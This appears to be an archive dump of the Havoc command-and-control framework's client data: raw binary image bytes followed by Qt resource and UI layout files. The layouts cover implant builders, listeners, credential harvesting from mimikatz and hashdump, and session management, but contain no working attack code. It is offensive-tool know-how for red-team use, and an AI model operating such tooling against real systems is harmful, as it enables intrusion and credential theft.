gpvO-0+O-[a `)0V[!<%Sb `8;<%CxJl g-pvX;=dBd-!ȮV jՠ ׺EKRwoBC d&3*s1 [7<䜙;|(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(/-GZn#[W@A@(H5[G[۔Z`+ۗZ`9!X{{@A@(H2zzg 7|֯@-  i:%Wtvu̚=F :N+s Źܯo^s6h#=֛ JSw{{f~fu]~x;|ns/ԮW~ bpV.Z=koes_/97`@qڗrO^s^ = hHCso&,Kzkr6|yk/\|i?|pwfa_ג<_=ILg2,bltn~g|֛OGr.ESOOc>&Ҽ2K|;֕ ۈl:`E~\vsӓ}˶_džKȖzw} PaH>||z<9昃fgWޖ˓QG[g˜OqcfM3rUK^|D}CwJ\js|di6C3,tnyX3Oɯ?<1'thr9Ϝ$;fT`N9wx;h֬1#?rlm|u/>،߾Ol>%U~z}htٴk˶ʇo˕_;m˄oESoɷQ9KsІyй?mnzpN-\41y_G?}noxٽ'#0;_\w ݌ ۚ]pECKkܡ13#3w'sWkgf?!/>a2x\-e/yF#ƍ=@ےmĆA\}/˩栣r'G)I;6Ok+nśd|6ӔgMɼ+3ƋaΎK^g9s66ntv7:mSI'#v;6m:^ӑ$/Φ?*{w\:cV)3c&1o=Iғ"gt&i֔y_V\sI2\:)W;"[msߚ?(Ӵ{U/7} [~Os2'IGόʻwnJ۴iyϘ8+oa}2iɧ(<Փ۴U=xݹ.I2O9ᢹRc620 =KҾdN^|\]IIsdXì̹crNO6ܼ"ÿyxvqSSI{|G|couoal5OZ;.[̪mnN4mk>N[f;4t4j,I뗆$=I]4kHϢm|rdsuiEZ~]~{,+.(<$[};nMg="5:tw%;+{:%ӻV,|${r#űɼCOhJ$#Vt%ݳ]ۖ%|+؃qi||N^A'o]Nif\x88ͯ`7ʀs'dQ6|uI:Č3*gM V~I/ZXf_ 4=?{#Ҵڸ'3,]},X+ҙYSnE^ s▼k17o10Xm{!O.[z&;#w+ɭ,NҝCƋ2m57o]׬sdq_gnʮcG[r=ȣs2W664U՚tW^N9tuu+znMM`g?7~n|G e]L5ʼMO}ϊMv{oƞٯ'>sOאQ9' <[Ʉ&Y6?+6*cz6}cXòw>w/+iu \{NǏݔ#oVܑo\6cbƮo2[W)ei´7-Gd;sֲz-8fQF.蟑{wIς9|ќt.k-y˵!}{-?1: OdWdžYLe L\+mfS{Ȫe2뾛om{)v=z:?<=/nX.t~?{xzxCC7Isu}mW̑?0G/=KhwiZ}+s?ʏ7D>2{q@#Cxɲ)ޕ3O^(7M{ +qϟg-_ޑ 'xhبeXOa/93{dIʁmuwMi`F Ϯ~ӽŗ_ۗ7 w.l]w>~嶽}e._hV+x[eVV,x/ HA@@$   oݺyc~}+?~m;fN7 wAvݝeYڵk5˲yp6=w9>>gϞ=پu' @{svz:,zj5lzHva|23Y,˿@ lY~WM;   HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA@@$    HA?ۻ 㟳,5("Z`A BZ X 3x\Ҫ0 h,H V K &!@&? A>s~w(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $ xYIDATP @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   $P @A@(H   To}<O:3ws)P @A]S=t6<<4#oS~ P @A@(H mr!m9q_>McOCNͥg2}c+.I[oOV6;ҾY雑Xws.y}bkV4i&Mۆg4qEc.˛겶T ;gwF}d?ݛ$ se7fC{gbϒKs7pCOW>l)y碡$xs_כ ٶWlso͉/ʼ 9W~\}]|d]<+shgThNi2w,y^^2#sdܜo~ds?s8wtd7NH]7eɕ wugNwPuDGnŹtvy^q ^믹!7}2LcK 4ܤWwwf|aU2+~?IhEi7}8&/MmW\uI'Ww.99i''r׷$I?9"'уI#|,]:cmXZ V+ҥ׼- yI/zZ5÷U,ȟd9/{<|dbGvLz93qe~xƤ'dFoxFi_X5C9Iwӻdz}ݝL#Ne5;-vhm/'ΟRvedR}wV+YOҤ{^dx"IA9E}]2?u~eG;Wh~fY3~xYYyOrn#u`zi[/w-k~QY|f3$/?9zs{}~9 ʝ8fw纥sˎƬ[ym./;kZI&6nCw/,=l8?r+y,}vܹfK󂏧{rNiLk^~]:e04k͙;oGGsaYli;l kwSœij=%TY[lizfqN$70듞3  $z鬯oT4NP @A@(Hu=тe˖>sOk0@>>+++ \\\KKK,,, ,,,JJJggg ... www999 KKKxxx  iiiJJJ ::: +++ XXX ,,,  JJJggg ***  hhhggg GGG === +++  fff --- JJJ ***ggg   hhh*** HHH ((( iii  *** 777 JJJ hhhggg  gggHHH  *** YYY *** ::: HHHfff  vvvGGG  ;;;vvv (((  gggHHH )))  ))) GGGUUU *** 666 HHHfff  fffGGG 666ttt ((( eeeEEE )))%%% GGGeee&&& uuu666EEE ddd 666 UUU DDD  EEE%%% 555        P P      P P   0 0  @ EEEEEEEEEEEE666@  @ @    P P    0 0 0 0 @ @ @ @0000PP@@@@00PP PP ????havoc-0.6~git20240910.69ce17c/client/data/Havoc.qrc000066400000000000000000000063151467014221700212320ustar00rootroot00000000000000 Havoc.ico ../data/img/fclose.png ../data/resources/Monaco.ttf ../data/img/FileBrowser/Folder.png ../data/img/FileBrowser/File.png ../data/img/FileBrowser/HardDisk.png ../data/img/DeadWhite.png ../data/resources/linux-icon.png ../data/resources/linux-icon-high.png ../data/resources/macos-icon.png ../data/resources/macos-icon-high.png ../data/resources/unknown-icon.png ../data/resources/unknown-icon-high.png ../data/resources/win7-vista-icon.png ../data/resources/win7-vista-icon-high.png ../data/resources/win10-8-icon.png ../data/resources/win10-8-icon-high.png ../data/resources/win11-icon.png ../data/resources/win11-icon-high.png ../data/resources/winxp-icon.png ../data/resources/winxp-icon-high.png ../data/resources/firewall.png ../data/img/treewidget/stylesheet-branch-closed.png ../data/img/treewidget/stylesheet-branch-more.png ../data/img/treewidget/stylesheet-vline.png ../data/img/treewidget/stylesheet-branch-end.png ../data/img/treewidget/stylesheet-branch-open.png ../data/stylesheets/menubar.qss ../data/stylesheets/bottomTab.qss ../data/stylesheets/Widgets/MenuStyle.qss ../data/stylesheets/teamserverTab.qss ../data/stylesheets/Havoc.qss ../data/stylesheets/Widgets/MessageBox.qss ../data/stylesheets/Dialogs/Connect.qss ../data/stylesheets/Dialogs/Preferences.qss ../data/stylesheets/Dialogs/Listener.qss ../data/stylesheets/Dialogs/BasicDialog.qss ../data/stylesheets/Dialogs/FileDialog.qss havoc-0.6~git20240910.69ce17c/client/data/Havoc.rc000066400000000000000000000000541467014221700210430ustar00rootroot00000000000000IDI_ICON1 ICON "Havoc.ico" havoc-0.6~git20240910.69ce17c/client/data/UIs/000077500000000000000000000000001467014221700201565ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/UIs/AddEditCredentialsDialog.ui000066400000000000000000000133771467014221700253240ustar00rootroot00000000000000 AddEditCredentials 0 0 408 246 408 246 408 246 Add Credentials Close Qt::Horizontal 40 20 <html><head/><body><p><span style=" font-size:12pt;">User:</span></p></body></html> <html><head/><body><p><span style=" font-size:12pt;">Source:</span></p></body></html> Qt::Horizontal 40 20 <html><head/><body><p><span style=" font-size:12pt;">Type:</span></p></body></html> Qt::Horizontal 40 20 Add <html><head/><body><p><span style=" font-size:12pt;">User:</span></p></body></html> <html><head/><body><p><span style=" font-size:12pt;">Password:</span></p></body></html> Qt::Horizontal 40 20 cleartext hashed manuel mimikatz hashdump true <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Monaco'; font-size:10pt; font-weight:400; font-style:normal;"> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;">Add Credentials to database</p></body></html> havoc-0.6~git20240910.69ce17c/client/data/UIs/AgentBuilder.ui000066400000000000000000000162411467014221700230660ustar00rootroot00000000000000 Dialog 0 0 541 557 Dialog Options Windows Exe Windows Dll Windows Service Exe Windows Reflective Dll Windows Shellcode test - listener Listener: Qt::Horizontal 40 5 x64 x86 Arch Format Config Value Sleep test Jitter Injection Spawn64 Spawn86 Qt::Horizontal 40 20 Qt::Horizontal 40 20 Generate Qt::Horizontal 40 20 Qt::Horizontal 40 20 Qt::Horizontal 40 20 Agent: Building Console 3 3 3 3 3 Qt::Horizontal 40 20 Demon (default) havoc-0.6~git20240910.69ce17c/client/data/UIs/BuildProgressBar.ui000066400000000000000000000023411467014221700237260ustar00rootroot00000000000000 Dialog 0 0 400 84 Dialog <html><head/><body><p align="center"><span style=" font-size:12pt;">Build Executable</span></p></body></html> 24 <html><head/><body><p align="center">Progress...</p></body></html> havoc-0.6~git20240910.69ce17c/client/data/UIs/Chat.ui000066400000000000000000000041721467014221700214000ustar00rootroot00000000000000 Form 0 0 1030 583 Form 1 4 1 4 6 4 true <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; color:#000000;"><br /></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Message> </span></p></body></html> havoc-0.6~git20240910.69ce17c/client/data/UIs/Connect.ui000066400000000000000000000172551467014221700221200ustar00rootroot00000000000000 Connect 0 0 547 242 AboutDialog 127.0.0.1 Qt::Horizontal 40 20 <html><head/><body><h3 style=" margin-top:14px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:large; font-weight:600;">lineEdit_PORT</span></h3></body></html> Qt::RichText false Qt::AlignCenter false false Qt::LinksAccessibleByMouse New Profile 5pider QLineEdit::Normal 4545 QLineEdit::Normal <html><head/><body><h3 style=" margin-top:14px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:large; font-weight:600;">lineEdit_Host</span></h3></body></html> Qt::RichText false Qt::AlignCenter false false Qt::LinksAccessibleByMouse Connect Qt::Vertical 20 40 <html><head/><body><h3 style=" margin-top:14px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:large; font-weight:600;">Password</span></h3></body></html> Qt::RichText false Qt::AlignCenter false false Qt::LinksAccessibleByMouse <html><head/><body><h3 style=" margin-top:14px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:large; font-weight:600;">Profile</span></h3></body></html> Qt::RichText false Qt::AlignCenter false false Qt::LinksAccessibleByMouse <html><head/><body><h3 style=" margin-top:14px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:large; font-weight:600;">lineEdit_Port</span></h3></body></html> Qt::RichText false Qt::AlignCenter false false Qt::LinksAccessibleByMouse spider QLineEdit::Password Qt::Horizontal 40 20 havoc-0.6~git20240910.69ce17c/client/data/UIs/ConnectionDialog.ui000066400000000000000000000105351467014221700237400ustar00rootroot00000000000000 Form 0 0 500 284 500 260 500 284 Form <html><head/><body><p><span style=" font-size:10pt;">Password:</span></p></body></html> <html><head/><body><p>Name:</p></body></html> 20 30 New Profile 150 0 <html><head/><body><p>Host:</p></body></html> 16777215 50 This is the Havoc connection dialog. Connect to a havoc teamserver. <html><head/><body><p>Port:</p></body></html> <html><head/><body><p><span style=" font-size:10pt;">User:</span></p></body></html> Connect 0 20 200 200 Clear Remove havoc-0.6~git20240910.69ce17c/client/data/UIs/Controler.ui000066400000000000000000000121041467014221700224620ustar00rootroot00000000000000 Form 0 0 1028 743 Form Qt::Horizontal Settings Services 1 Qt::Horizontal 40 20 Qt::Horizontal 40 20 Start <html><head/><body><p><span style=" font-size:12pt;">Registered Service Agents</span></p></body></html> Qt::Horizontal 40 20 <html><head/><body><p><span style=" font-size:12pt;">Registered Services</span></p></body></html> Qt::Horizontal 40 20 <html><head/><body><p><span style=" font-size:12pt;">Service Settings</span></p></body></html> Qt::Horizontal 40 20 Stop Status: Online havoc-0.6~git20240910.69ce17c/client/data/UIs/CredentialsTableWidget.ui000066400000000000000000000105731467014221700250740ustar00rootroot00000000000000 Form 0 0 1015 544 Form Copy Add Edit Qt::Horizontal 40 20 Remove Qt::Horizontal 40 20 true false false true true true false false false false User Password Type Domain Source Added 5pider testpass cleartext DEMIGOD.local mimikatz 12/03 12:15:35 Export havoc-0.6~git20240910.69ce17c/client/data/UIs/DemonInteracted.ui000066400000000000000000000027371467014221700235730ustar00rootroot00000000000000 Form 0 0 980 565 Form 1 4 1 4 4 DemonID > true [Demon ID] havoc-0.6~git20240910.69ce17c/client/data/UIs/EventViewer.ui000066400000000000000000000014521467014221700227620ustar00rootroot00000000000000 Form 0 0 915 523 Form 2 2 2 2 havoc-0.6~git20240910.69ce17c/client/data/UIs/FileBrowser.ui000066400000000000000000000043241467014221700227430ustar00rootroot00000000000000 Form 0 0 982 604 Form Qt::Horizontal Files Drive Folder File.txt ... Type Name Size Modified havoc-0.6~git20240910.69ce17c/client/data/UIs/GateStagedDialog.ui000066400000000000000000000206431467014221700236520ustar00rootroot00000000000000 AboutDialog 0 0 420 400 420 400 420 400 AboutDialog Gate Options Windows EXE Windows Service EXE Windows DLL Windows Reflective DLL C Nim Golang C# Powershell x64 x86 arm64 Sign windows executable file <html><head/><body><p><span style=" font-size:10pt;">Arch:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Output:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Mode:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">DeleteSelf:</span></p></body></html> delete binary from disk at execution Language: Clean Ninja Ghost <html><head/><body><p><span style=" font-size:10pt;">Listener:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Sign:</span></p></body></html> Embedded: load demon from embedded resources temp - tcp Add Advanced: Enable advanced options 380 45 575 50 true <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;"> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;">This dialog generates a staged demon windows executable that loads the full demon into memory (or injects into a remote process)</p></body></html> Generate havoc-0.6~git20240910.69ce17c/client/data/UIs/GateStagelessDialog.ui000066400000000000000000000155641467014221700244030ustar00rootroot00000000000000 GateStagelessDialog 0 0 383 273 0 0 AboutDialog 100 0 Generate 16777215 50 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;"> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:10pt;">Generate windows executables/shared libraries/raw binaries/powershell scripts</span></p></body></html> Qt::Horizontal 40 20 Qt::Horizontal 40 20 Gate Options 70 0 60 16777215 <html><head/><body><p><span style=" font-size:10pt;">Listener:</span></p></body></html> listener - https 65 0 65 16777215 Add <html><head/><body><p><span style=" font-size:10pt;">Arch:</span></p></body></html> x64 x86 arm64 <html><head/><body><p><span style=" font-size:10pt;">Format:</span></p></body></html> Windows Reflective DLL Windows EXE Windows Service EXE Windows DLL Raw Binary Powershell <html><head/><body><p><span style=" font-size:10pt;">Sign:</span></p></body></html> false false (None) havoc-0.6~git20240910.69ce17c/client/data/UIs/Havoc.ui000066400000000000000000000304111467014221700215540ustar00rootroot00000000000000 Havoc 0 0 1162 816 Havoc ../img/Havoc_x32.png../img/Havoc_x32.png 750 480 QTabWidget::South QTabWidget::Rounded 0 true false false Havoc Home <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Cantarell'; font-size:11pt; font-weight:400; font-style:normal;"> <p align="center" style=" margin-top:12px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-family:'Sans Serif'; font-size:22pt; font-weight:600;">Havoc</span></p> <p align="center" style=" margin-top:12px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><img src=":/Images/img/Havoc_x150.png" /></p></body></html> Qt::Horizontal QSizePolicy::Ignored 200 25 Qt::Vertical 200 40 Qt::Vertical 200 40 true 200 25 200 25 Connect to Teamserver true 0 0 1162 21 ArrowCursor false false Havoc Help Attack Modules Gates View Yaotl Script Modules Connect Help About... Preferences Sessions Credentials Teamserver Chat Screenshots Menu Listeners Powershell Python Manager Terminal Quit Dropper Win Executable Manager Add Script Register Script Load Script Register Module Load Module Yaotl Interpreter Logs Open API Reference Open Help Documentation Source Github Repository Disconnect Win Executable (Stageless) MC Office Macros Linux Executables MacOS Executables Dropper havoc-0.6~git20240910.69ce17c/client/data/UIs/HavocConnect.ui000066400000000000000000000005731467014221700230740ustar00rootroot00000000000000 Dialog 0 0 606 291 Dialog havoc-0.6~git20240910.69ce17c/client/data/UIs/HavocListener.ui000066400000000000000000000347031467014221700232720ustar00rootroot00000000000000 ListenerWidget 0 0 658 824 Form Qt::Horizontal 40 20 Qt::Horizontal 40 20 Payload: Qt::Horizontal 40 20 Https Http Smb External Name: Qt::Horizontal 40 20 Save Qt::Horizontal 40 20 Close Config Options 0 0 0 0 0 0 User Agent: Clear Uris: Host Header: Enable Proxy connection Clear Headers: Qt::Horizontal 0 0 Add Host (Bind): Add Hosts Qt::Vertical 20 40 Clear Add Port: Qt::Vertical 20 40 true Proxy Host: Proxy Port: UserName: Password: Proxy Type: http https Qt::Vertical 20 40 Host Rotation: round-robin random Pipe Name: : Endpoint: havoc-0.6~git20240910.69ce17c/client/data/UIs/InputDialog.ui000066400000000000000000000032721467014221700227400ustar00rootroot00000000000000 InputDialog 0 0 432 103 Dialog Qt::Horizontal 115 20 Save Close Qt::Horizontal 115 20 Description havoc-0.6~git20240910.69ce17c/client/data/UIs/LogrViewer.ui000066400000000000000000000040221467014221700226000ustar00rootroot00000000000000 Form 0 0 955 534 Form 0 0 0 0 0 0 Tab 1 Session Info Console Logger Tab 2 havoc-0.6~git20240910.69ce17c/client/data/UIs/LootWidget.ui000066400000000000000000000034211467014221700225760ustar00rootroot00000000000000 LootWidget 0 0 1034 636 Form 0 0 0 0 0 Qt::Horizontal Loot DEMON-1 Screenshots Screenshot.png Downloads FIles.txt havoc-0.6~git20240910.69ce17c/client/data/UIs/LuaScriptWidget.ui000066400000000000000000000011641467014221700235710ustar00rootroot00000000000000 Form 0 0 935 521 Form havoc-0.6~git20240910.69ce17c/client/data/UIs/ModuleTreeWidget.ui000066400000000000000000000025741467014221700237360ustar00rootroot00000000000000 Form 0 0 661 497 Form Module code_executing credentials persistence privesc recon situation_awareness winlist havoc-0.6~git20240910.69ce17c/client/data/UIs/NewHavoc.ui000066400000000000000000000225131467014221700222320ustar00rootroot00000000000000 MainWindow 0 0 1347 924 MainWindow 0 Tab 1 Qt::Vertical Qt::Horizontal 0 true ID External Internal Listener User Computer OS Process PID Last Health 0 Tab 1 -1 Tab 2 0 0 1347 24 Havoc View Attack Gates Yaotl Help New Connection Event Log Preferences Disconnect Exit Modules Windows Executable Windows Staged Executable Windows MS Office Windows Dropper Load Script Load Module Interpreter About Open Help Documentation Open API Reference Github Repository Listeners Sessions Screenshots Credentials Logs havoc-0.6~git20240910.69ce17c/client/data/UIs/NewLootBox.ui000066400000000000000000000102531467014221700225560ustar00rootroot00000000000000 Form 0 0 1277 800 Form 0 5 0 0 0 Show: 150 0 Screenshots Downloads Agent ID: 150 0 12345678 Qt::Horizontal 40 20 0 Qt::Horizontal Name Time Name Path Size Date Qt::Horizontal 40 20 havoc-0.6~git20240910.69ce17c/client/data/UIs/Operator.ui000066400000000000000000000005661467014221700223170ustar00rootroot00000000000000 Form 0 0 1271 813 Form havoc-0.6~git20240910.69ce17c/client/data/UIs/Operators.ui000066400000000000000000000005651467014221700225010ustar00rootroot00000000000000 Form 0 0 400 300 Form havoc-0.6~git20240910.69ce17c/client/data/UIs/Overview.ui000066400000000000000000000005661467014221700223320ustar00rootroot00000000000000 Form 0 0 1346 765 Form havoc-0.6~git20240910.69ce17c/client/data/UIs/ScriptManager.ui000066400000000000000000000032341467014221700232560ustar00rootroot00000000000000 Form 0 0 1417 626 Form Load Script Qt::Horizontal 40 20 Qt::Horizontal 40 20 true false Path havoc-0.6~git20240910.69ce17c/client/data/UIs/SessionTable.ui000066400000000000000000000070601467014221700231130ustar00rootroot00000000000000 Form 0 0 1082 632 Form true false false true true true false false 0 ID External Internal Listener User Computer OS Process Last Health asdaqwesd 156.342.123.10 192.168.0.129 demon - tcp 5pider DEMIGOD Windows 11 chrome.exe/3343 x64 1ms havoc-0.6~git20240910.69ce17c/client/data/UIs/Settings.ui000066400000000000000000000372541467014221700223300ustar00rootroot00000000000000 Dialog 0 0 568 374 568 374 568 374 Dialog Appearance Tabs Qt::Horizontal 173 20 Qt::Horizontal 365 20 Save Close 0 10 20 61 21 <html><head/><body><p>Font:</p></body></html> 10 50 51 21 <html><head/><body><p>Theme:</p></body></html> 70 50 291 23 Dracula Dragon Blood Dracula Light 70 20 181 23 Monaco 270 20 41 21 <html><head/><body><p>Size:</p></body></html> 310 20 51 23 false true 1 2 3 10 110 351 191 Statusbar 10 26 281 20 Enable Statusbar 10 61 81 16 Background: 90 61 251 20 90 91 251 20 10 91 81 16 Foreground: 10 121 321 20 Show active demon sessions 10 140 331 20 Show number of teamserver connected to 10 160 331 20 Show number of credentials gathered 10 80 351 20 Show teamserver name in titlebar 9 9 351 131 Teamserver Tabs 10 30 71 21 <html><head/><body><p>Position:</p></body></html> 90 30 251 23 Top Bottom 10 90 331 26 AutoHide Teamserver Tabs 240 60 41 21 <html><head/><body><p>Size:</p></body></html> 10 60 71 21 <html><head/><body><p>Font:</p></body></html> 90 60 131 23 Monaco 280 60 61 23 false true 1 2 3 10 170 351 151 Bottom Tabs 10 30 71 21 <html><head/><body><p>Position:</p></body></html> 90 30 251 23 Top Bottom 280 60 61 23 false true 1 2 3 10 60 71 21 <html><head/><body><p>Font:</p></body></html> 90 60 131 23 Monaco 240 60 41 21 <html><head/><body><p>Size:</p></body></html> 10 90 331 26 Show Icons havoc-0.6~git20240910.69ce17c/client/data/UIs/SmallWidgets/000077500000000000000000000000001467014221700225555ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/UIs/SmallWidgets/ActiveOperators.ui000066400000000000000000000034111467014221700262250ustar00rootroot00000000000000 ActiveUserWidget 0 0 726 456 Form false true true false false 0 Username Status Last Active 5pider Active Now havoc-0.6~git20240910.69ce17c/client/data/UIs/SmallWidgets/Dashboard.ui000066400000000000000000000005771467014221700250140ustar00rootroot00000000000000 Dashboard 0 0 842 498 Form havoc-0.6~git20240910.69ce17c/client/data/UIs/SmallWidgets/SessionInfo.ui000066400000000000000000000161241467014221700253570ustar00rootroot00000000000000 Form 0 0 402 602 Form Process Info 0 0 0 0 0 false 26 true 19 22 Process Name Process ID Parent Process ID Process Arch Process User Module Path Value Hardware Info 0 0 0 0 0 false 26 true 19 22 false CPU RAM GPU MAC Address Title System Info 0 0 0 0 0 false 26 true 19 22 Username Computer Operating System OS Version System Arch External IP Internal IP Title <html><head/><body><p align="center"><span style=" font-size:16pt;">[SessionID] INFO</span></p></body></html> havoc-0.6~git20240910.69ce17c/client/data/UIs/Teamserver.ui000066400000000000000000000035161467014221700226370ustar00rootroot00000000000000 Teamserver 0 0 1212 643 Form Qt::Horizontal Logger Profile 0 Key Value havoc-0.6~git20240910.69ce17c/client/data/UIs/TeamserverWidget.ui000066400000000000000000000005661467014221700240050ustar00rootroot00000000000000 Form 0 0 1130 635 Form havoc-0.6~git20240910.69ce17c/client/data/UIs/about.ui000066400000000000000000000053341467014221700216340ustar00rootroot00000000000000 AboutDialog 0 0 420 323 AboutDialog Close 196 0 <html><head/><body><p align="center"><span style=" font-size:22pt;">Havoc</span></p></body></html> Qt::Horizontal 40 20 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Sans Serif'; font-size:9pt; font-weight:400; font-style:normal;"> <p style=" margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><span style=" font-size:x-large; font-weight:600;">About Havoc</span> </p> <p style=" margin-top:12px; margin-bottom:12px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;">Welcome to Havoc. Havoc is a Software for Adversary Simulations and Red Team Operations by <a href="https://www.twitter.com/C5pider"><span style=" text-decoration: underline; color:#e100ff;">5pider</span></a>. </p></body></html> havoc-0.6~git20240910.69ce17c/client/data/UIs/listener.ui000066400000000000000000000152311467014221700223440ustar00rootroot00000000000000 AboutDialog 0 0 500 470 0 0 500 700 AboutDialog Options false false false 0 0 0 0 0 0 <html><head/><body><p><span style=" font-size:10pt;">Hosts:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Port:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">UserAgent:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Headers:</span></p></body></html> <html><head/><body><p><span style=" font-size:10pt;">Uris:</span></p></body></html> Delayed execution (performs time consuming operation at start) Exit on Unreachable Host/s (Initialization only) <html><head/><body><p><span style=" font-size:10pt;">Name:</span></p></body></html> HTTPs HTTP DNS QUIC DOH Wireguard Save Close <html><head/><body><p><span style=" font-size:10pt;">Payload:</span></p></body></html> havoc-0.6~git20240910.69ce17c/client/data/UIs/listenersBox/000077500000000000000000000000001467014221700226375ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/client/data/UIs/listenersBox/DemonHTTP.ui000066400000000000000000000077011467014221700247450ustar00rootroot00000000000000 Form 0 0 430 256 Form Options false false false <html><head/><body><p>HTTP Hosts:</p></body></html> Add Remove Clear <html><head/><body><p>HTTP lineEdit_Host (Stager):</p></body></html> <html><head/><body><p>HTTP lineEdit_Port:</p></body></html> <html><head/><body><p>HTTP lineEdit_Host Header:</p></body></html> <html><head/><body><p>lineEdit_Host Rotation:</p></body></html> round-loop random failover duration havoc-0.6~git20240910.69ce17c/client/data/UIs/listenertab.ui000066400000000000000000000050521467014221700230330ustar00rootroot00000000000000 Form 0 0 1227 675 Form Add Restart Edit Remove Qt::Horizontal 40 20 Qt::Horizontal 40 20 Name Protocol lineEdit_Host lineEdit_Port Connected Status havoc-0.6~git20240910.69ce17c/client/data/UIs/newTeamserverConnection.ui000066400000000000000000000366121467014221700253740ustar00rootroot00000000000000 TeamServerSession 0 0 1027 750 Form true 0 0 QTabWidget::North 0 Qt::ElideNone false true false Demons Qt::Horizontal 859 20 150 0 Session Table Graph View Target Table Demon ID External Internal Listener User Computer Process PID Last Health Listeners Qt::Horizontal 333 20 Restart Edit Add Remove Qt::Horizontal 333 20 false Qt::ActionsContextMenu false 150 true Name Protocol lineEdit_Host lineEdit_Port Status Connected Credentials Qt::Horizontal 320 20 Add Edit Copy Remove Qt::Horizontal 320 20 false Qt::ActionsContextMenu false 150 true User Password Type Source lineEdit_Host Note Archives true 20 20 false List Downloads Screenshots screenshot_of_target.png Keylogs 800 0 File Name Size lineEdit_Host Date Demon :: DemonID QTabWidget::Rounded 2 true Demon Info Interact Demon :: > false QTextEdit[objectName^="DemonTerminal"] { background-color: black; color: white; } true <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> <html><head><meta name="qrichtext" content="1" /><style type="text/css"> p, li { white-space: pre-wrap; } </style></head><body style=" font-family:'Cantarell'; font-size:11pt; font-weight:400; font-style:normal;"> <p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px;"><br /></p></body></html> File Explorer 